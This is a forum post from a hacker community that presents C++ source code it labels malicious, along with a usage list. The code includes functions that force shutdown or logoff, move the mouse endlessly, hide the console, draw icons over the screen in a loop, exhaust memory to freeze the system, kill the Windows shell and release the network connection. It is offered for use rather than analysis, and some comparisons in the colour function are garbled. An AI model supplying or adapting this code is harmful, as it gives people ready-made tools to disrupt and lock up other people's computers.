Jump to content

Hello visitors, welcome to the Hacker World Forum!

Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

TheHackerWorld Official

C++计算机基础操作代码(恶意)(1)

Featured Replies

Posted

在这里,要想明白C++的恶意操作原理,要先会一个代码:system,命令提示符。

接下来给大家一些使用示范:

system("shutdown -s");//关机

shutdown(等待秒数,类型(1:关机,2:重启,3:注销))

Currur(移动鼠标的次数(1进入死循环))

Hide()   隐藏控制台

Icon(x坐标, y坐标, 类型(1:错误图标,2:感叹号图标,3:应用程序图标))

Die()  卡死

Shutdown_Go()  打开远程攻击控制台

explore()    不可打开资源管理器

release()    断开网络

Make_Text("文件名字(包括后缀)","内容")   创建文件

color(颜色)

样本是这样的:

#include <bits/stdc++.h>

#include <conio.h>

#include <windows.h>

using namespace std;

void Make_Text(string same, string name)

{

//HWND hWnd = GetConsoleWindow();

//SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);

ofstream outfile(same,ios::out);

if (!outfile)

{

cerr<<"open error"<<endl;

}

outfile<<name;

outfile.close();

}

//主机的好管理

void shutdown(int x, int y)

{

Sleep(x * 1000);//等待n秒

if(y == 1)

system("shutdown -p");//关机

if(y == 2)

system("shutdown -s -r 0");//重启

if(y == 3)

system("shutdown -l");//注销

}

//鼠标指针的好管理

void Currur(int q)

{

int x = GetSystemMetrics(SM_CXSCREEN);

int y = GetSystemMetrics(SM_CYSCREEN);

srand(time(0));

if (q == 1)//当q为1时,进入死循环。

while(1)

SetCursorPos(rand() % x, rand() % y);

else{//乱移鼠标的线程

while(q){

SetCursorPos(rand() % x, rand() % y);

q--;

}

}

}

//控制台的好管理

void Hide()

{

HWND s;

s = FindWindow("ConsoleWindowClass", NULL);//找到当前窗口句柄

if (s) {

ShowOwnedPopups(s, SW_HIDE);//显示或隐藏由指定窗口所有的全部弹出式窗口

ShowWindow(s, SW_HIDE);//隐藏窗口

}

}

//图标的好管理

void Icon(int x, int y, int n)

{

FreeConsole();

HWND hwnd = GetDesktopWindow();

HDC hdc = GetWindowDC(hwnd);

POINT point;

while(1)

{

GetCursorPos(&point);//锁定鼠标位置

if(n == 1)//错误图标

DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_ERROR));

if(n == 2)//感叹号图标

DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WARNING));

if(n == 3)//应用程序图标

DrawIcon(hdc, point.x - x, point.y - y, LoadIcon(NULL, IDI_WINLOGO));

}

}

//卡死

void Die()

{

while(1)

{

new char;

malloc(INT_MAX);

}

}

//远程攻击

void Shutdown_Go()

{

system("shutdown /i");

}

void color (int a) {

if (a 0 || a 14 || a == 20) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);

} else if (a 1 || a 12) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE);

} else if (a == 2) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_GREEN);

} else if (a == 3) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE);

} else if (a 4 || a 11) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_RED);

} else if (a 5 || a 13) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN);

} else if (a == 7) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_GREEN|FOREGROUND_BLUE);

} else if (a == 15) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_INTENSITY);

} else if (a == 16) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_GREEN);

} else if (a == 17) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED);

} else if (a == 8) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE), FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);

} else if (a == 6) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_BLUE);

} else if (a == 9) {

SetConsoleTextAttribute (GetStdHandle (STD_OUTPUT_HANDLE),

FOREGROUND_INTENSITY|FOREGROUND_RED|BACKGROUND_RED|BACKGROUND_GREEN);

}

}

void explore()//不可打开资源管理器

{

system("taskkill /im explore.exe /f");

}

void release()//断开网络

{

system("ipconfig /release");

}

//以上是部分本人整理网络来源资料所得,非完全原创,也非搬运

Create an account or sign in to comment

Recently Browsing 0

  • No registered users viewing this page.